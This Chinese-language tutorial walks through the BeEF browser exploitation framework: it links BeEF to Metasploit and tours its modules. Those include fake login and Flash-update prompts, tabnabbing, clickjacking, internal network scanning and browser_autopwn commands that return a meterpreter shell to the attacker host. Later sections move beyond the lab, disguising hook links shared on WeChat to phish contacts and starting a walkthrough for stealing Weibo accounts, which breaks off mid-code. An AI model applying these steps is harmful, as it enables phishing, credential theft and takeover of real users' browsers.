# 浏览器利用框架BeEF测试
0x00 前言
=======
* * *
BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认识。
![这里写图片描述](http://drops.javaweb.org/uploads/images/68e7f4893eb8c37f9d32414f709e3a2106db1940.jpg)
0x01 简介
=======
* * *
工具主页:[http://beefproject.com](http://beefproject.com/)
工具框架:
![这里写图片描述](http://drops.javaweb.org/uploads/images/06ff4eabfc20602671192c3ccf2dc0831cb2556e.jpg)
0x02 测试环境
=========
* * *
攻击主机:
“`
操作系统:Kali 1.0
IP:192.168.16.245
“`
测试主机:
“`
操作系统:Win7x86
IP:192.168.16.197
“`
路由器:
“`
WooyunWifi
开启JS注入功能
“`
![这里写图片描述](http://drops.javaweb.org/uploads/images/1f0092881dcb1c24b99540d30576d6f8b73e5ae9.jpg)
**_Tips:_**
“`
WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码,如果JS代码设置成如下格式,那么运行后会在BeEF控制端返回一个shell
document.write(““);
默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。
“`
![这里写图片描述](http://drops.javaweb.org/uploads/images/207ac0a0029ed164b5954705a5bbd714b4a66e33.jpg)
0x03 BeEF参数配置
=============
* * *
BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf
1、修改config.yaml
—————
编辑
`/usr/share/beef-xss/config.yaml`
“`
metasploit:
enable: false改为true
“`
![这里写图片描述](http://drops.javaweb.org/uploads/images/ee9ef3f8df70142f794203f1e835a67929f1bff1.jpg)
编辑
`/usr/share/beef-xss/extensions/demos/config.yaml`
“`
enable:true改为false
“`
编辑
`/usr/share/beef-xss/extensions/metasploit/config.yaml`
“`
设置
ssl: true
ssl_version: ‘TLSv1’
“`
![这里写图片描述](http://drops.javaweb.org/uploads/images/7a6b622612f764a800b5221f397d637ad0c036e3.jpg)
2、启动msf服务
———
“`
service postgresql start
service metasploit start
msfconsole
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y
“`
3、运行BeEF.rb
———–
“`
cd /usr/share/beef-xss/
/usr/share/beef-xss/beef
“`
(启动后不要关闭,不然登录界面会提示密码错误)
![这里写图片描述](http://drops.javaweb.org/uploads/images/3a18591f698922fcc5218e6f7ecfcbd2b62426cd.jpg)
4、启动BeEF
——–
弹出浏览器,输入默认用户名口令beef,即可登陆
主界面如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/c0fc59eaf291f59923134cef3de1e711f9266ba8.jpg)
0x04 功能介绍
=========
* * *
对基本功能做全面介绍,高级用法以后会做补充
1-信息收集
——
**1、浏览器信息**可收集:
“`
浏览器名称版本
浏览器用户版本
插件(包括Java,ActiveX,VBS,Flash……)
窗口大小
“`
收集方法:
(1)自动默认收集信息
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/677e8112aa3467049058c4abbb630bb16ae037c3.jpg)
(2)插件收集信息
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/8d48dfd3eb57b255eb96f7d56bfb7ef0f74a667a.jpg)
**_Tips:_**
“`
模块图标不同颜色对应不同的使用效果
绿色:适用当前浏览器
橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色
红色:不适于当前浏览器,但仍可尝试
“`
**2、系统信息**
可收集:
“`
安装的软件(适用于IE下,Detect Software模块)
注册表键值(适用于IE下,此时会弹出提示消息)
内网IP(Java模块得到授权)
系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式)
定位(通过Google maps)
剪贴板信息(会弹出提示消息)
“`
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/eaf68299ba7a705a0af5e9edf41841aa55559fc6.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/0f6f8803cc86827b4129c0aec5c56b0197f4ee59.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/7cafc26bfc37c422b846bbbb581cfad042ee2b19.jpg)
**3、用户行为**
可收集:
“`
用户是否访问过某URL、domain
是否登录特定网站账号
是否使用TOR
“`
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/9b7d1abcbc5e24f0b4f072033bf7a4f898f5f2ee.jpg)
2-社会工程
——
如果使用BeEF控制了浏览器,那么就可以修改整个页面来尝试社会工程学
**1、提交登录信息**
简单粗暴往往是最有效的
**Pretty Theft模块:**
在网页弹出诱骗消息需要用户输入登录和密码,并解释该会话已超时
选择的登录框模板,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/663d8579ab779611f0bd226f4b7e8e27989ccc74.jpg)
配置后用户浏览器界面,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/84d95d1d6e40c2178f6dad32cb37d831dec7046c.jpg)
当用户输入信息后,自动获取,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/1267f16bc175d92cd0ae430db2f045eae6fa5748.jpg)
**Simple Hijacker模块:**
劫持网页上面的所有链接,当用户点击任意链接时弹出诱骗消息,如果用户接着点击会跳转到指定域名
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/7dda58a74d78e466becccd95ce6cc26ae9f11468.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/7e8ffcbb9700e873d8618a8ec99b6892b6f5eace.jpg)
**Clippy模块:**
创建一个浏览器助手提示用户点击
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/a9b24c6921f7022f875a1d8224cc61a9e4c5157b.jpg)
**2、重定向**
**Rediret Browser模块:**
将当前页面重定向至指定页面,有可能导致当前权限丢失
**Rediret Browser(iframe)模块:**
将当前页面重定向至指定页面,,同时保留当前连接,可以维持当前浏览器权限
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/7fa2c24afb59124ade07f0e445e8d72d6e1d04f6.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/ab2fb631bb2d64472fab066666952930dbd46a33.jpg)
**TabNabbing模块:**
当检测用户不在当前页面时启动定时器,倒计时结束后自动重定向至指定页面
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/f380c33d9ded2f253e4fb272e2f9d04e46139837.jpg)
**3、Chrome/Firefox extensions**
**Fake Flash Update模块:**
提示用户安装Adobe Flash Player的更新,用户点击后会下载指定文件
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/9d5f5b3a2e3cf028455c1b3cc7817a30b8b82285.jpg)
**Chrome Extensions 系列:**
值得尝试
![这里写图片描述](http://drops.javaweb.org/uploads/images/5f6621f08f215ede7a53d1f3de079eed0130832e.jpg)
**4、补充**
**Clickjacking模块:**
可以使用multi-click clickjacking,判断当前用户鼠标位置,在不同位置可触发不同JS代码
如图,鼠标后面跟随一个iframe
![这里写图片描述](http://drops.javaweb.org/uploads/images/ed9eeb18e402de623b3f8d174e91534a990a197a.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/543733de50602b4d53dffe9745ebcca76ede6d45.jpg)
3-网络扫描
——
通过JavaScript,可以尝试利用浏览器扫描内网
**1、获取内网IP**
**Get Internal IP WebRTC模块:**
通过WebRTC获取内网IP
**Get Internal IP模块:**
通过Java Socket class获取内网IP
**2、识别局域网子网**
识别内网网关,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/1fd492832dc0b51e24252c76aad1357476036669.jpg)
**3、识别HTTP Servers**
识别内网web servers
**4、ping操作**
调用ping命令扫描内网
**Ping Sweep模块 Ping Sweep (Java)模块**
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/e41d63b9601e3b7d2065f397420bbd0dbad0381b.jpg)
**5、跨域扫描**
**6、DNS枚举**
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/6e877c158b64f60d07f21bcb5f93abefb066d34c.jpg)
**7、端口扫描**
**Port Scanner模块**
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/1a6bf89756d313fa8d9348ecb8627898ce113b5b.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/21f687b7c768119dda4b6831aed6a1fb1f62700b.jpg)
**8、网络指纹特征扫描**
用来扫描内网中的Web服务器和网络设备
**Fingerprint Network模块**
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/c20525022470867a59865ee3e83ee9cf66b8b161.jpg)
**9、Remote CSRFs**
**10、IRC NAT Pinning**
模拟浏览器的IRC通信,可用来绕过防火墙
**11、网络拓扑**
BeEF可根据扫描获得的信息绘制内网网络拓扑 如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/eb3631dddf9f319db71904f8d4f0f4e110fbb962.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/07bdf7d3ff47754198b74f782e96e9d35f6a98e7.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/f0df8dec37787421e9c9b8eb30eff1afd7c31105.jpg)
此部分会在以后详细介绍
4-结合Metasploit
————–
**1、Metasploit系列模块**
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/0db557bf633a0ad166ac945110422ac4666be8b2.jpg)
**2、Browser Autopwn**
反弹回meterpreter
方法:
**(1)**使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL
“`
use auxiliary/server/browser_autopwn
show options
set LHOST 192.168.16.245
set SRVHOST 192.168.16.245
set SRVPORT 8881
run -z
“`
生成一个链接,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/6a3072d55750ddedc48726f64a77bca1f790bfa6.jpg)
![这里写图片描述](http://drops.javaweb.org/uploads/images/4c08677fff0d2dfe6a596aa800d43a67267edf08.jpg)
**(2)**使用”Create Invisible Iframe”模块加载autopwn页面
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/b0d3b3162be3db3050697e10641573c43ecc40b6.jpg)
**(3)**等待弹回shell
“`
sessions -l
“`
5-Tunneling
———–
代理功能
方法:
**1、**选择控制的浏览器
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/f5d510a4f15bcd94c6614caa40a30be8d1298f74.jpg)
**2、**浏览器代理设置
HTTP Proxy:127.0.0.1
Port:6789
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/6bb72008c6b030ed27692524dc8a9248a7c33c3d.jpg)
细节以后补充
**3、**访问同样网站,查看本机浏览器页面同被控浏览器页面内容是否相同(即不需要cookie可实现登录账号)
6-XSS
—–
如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/7d5ae2f907c1e30b0d8036411dee9ffc5f39d4c1.jpg)
细节以后补充
7-维持权限
——
**1、Create Pop Under模块**
创建一个新窗口,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/763b38784243793ac43491c1d7cd47bca278fc56.jpg)
反弹一个新权限,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/e7b95c2dcb54c99612e1188655554b4d7f8eeaa2.jpg)
**2、Confirm Close Tab模块**
当用户关闭当前页面时,反复弹出确认是否关闭页面的消息
**3、Create Foreground iFrame模块**修改当前页面所有链接来避免离开当前页面
比如用户点击某个连接,会将新页面显示在当前页面上面,注意的是网址不会发送改变,如图:
![这里写图片描述](http://drops.javaweb.org/uploads/images/5fef55c47f5d8d182199b85515b9a4ebf2c8bbdb.jpg)
正常访问的页面为:(注意看地址栏)
![这里写图片描述](http://drops.javaweb.org/uploads/images/a70a9cc8c8e309a6928686754075ee999d0fd3f0.jpg)
**4、Man In The Browser模块**
可拦截修改页面内所有链接,当用户点击当前页面的任意链接后仍可维持权限(必须是同源的页面)
如果用户手动更改URL地址栏,无法维持权限
0x05 小结
=======
* * *
本文仅对BeEF的基本功能做了全面介绍,更多高级技巧很值得研究,例如利用BeEF内网渗透,利用代理不通过cookie登陆账户突破IP限制绑定等等。
测试过程难免会有疏忽遗漏,理解错误的地方欢迎指正,共同进步。
本文由三好学生原创并首发于乌云drops,转载请注明
0x06 补充
=======
* * *
对手机平台的微信使用BeEF进行模拟测试
手机系统:
“`
Android
“`
1、上线方法:
——-
**1、扫描二维码**
扫描后在BeEF控制端看到手机上线,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/2b84f61cd2502e28dade35ab8259df6bc307cf5d.jpg)
对此页面进行Google Phishing欺骗,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/9339fe3b250cdda225ce8d1b938aafaa72bb29b7.jpg)
**注:**
在微信上面特别的地方在于此处无法看到包含的真实URL地址
**2、朋友圈分享**
将BeEF的上线地址做一下简单的伪装并分享到朋友圈,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/134b554d846923dca6ed846ff3dcc236a47ccf8f.jpg)
在朋友圈中同样无法看到包含的真实URL地址,打开即为BeEF的hook页面,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/d232bcbba09c7e764bad3cdc4f4ac9a7c9dca995.jpg)
**3、朋友发来的链接**
将此消息直接发给朋友,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/1f2a045945f87168eacae579ed32b70eb7e48155.jpg)
我们可以看到伪造前的URL地址
**注:**
BeEF的hook页面可以自定义成更具欺骗性的内容,这是为了演示方便使用默认界面
2、微信浏览器被Hook后可以做哪些操作
——————–
也许有人会提出疑问:手机打开网址持续的时间很短,关闭当前页面后BeEF的shell就会下线
**解决方法:**
使用BeEF API,用户上线后能够自动执行批量命令,结合Persistence模块能够极大提高shell存活时间
除了与windows系统相关的信息无法获取,其他操作均能成功执行,并且BeEF为手机劫持提供了专门的模块系列——Phonegap,如图
![这里写图片描述](http://drops.javaweb.org/uploads/images/f35921f8e5a2c78b294a463e0fd5297665807a00.jpg)
以下是经测试可以在Android上使用的模块:
“`
1、弹框
2、重定向
3、查看是否访问过某些网站
4、Creates an invisible iframe
5、Social Engineering系列,如下图,仅作演示
6、msf系列
7、NetWork系列,可以用来扫描同一内网下的windows主机
“`
![这里写图片描述](http://drops.javaweb.org/uploads/images/7ca5231cf9666986ddfc0109a2dad6a39ef3466e.jpg)
**注:**
加载hook页面后,将手机屏幕关闭处于待机状态,BeEF仍然可以执行指令,或许这与手机系统相关,值得以后深入测试。
0x07 利用朋友圈投票社工微博帐号实例
====================
* * *
1、伪造BeEF的hook页面
—————
**1、寻找模板**
随机找到一个投票的页面,保存为html
“`
http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd
“`
**2、替换hook页面**
在`use/share/beef-xss/extensions/demos/html`目录下,将上述html文件命名为basic.html并添加以下代码
“`
var commandModuleStr = ‘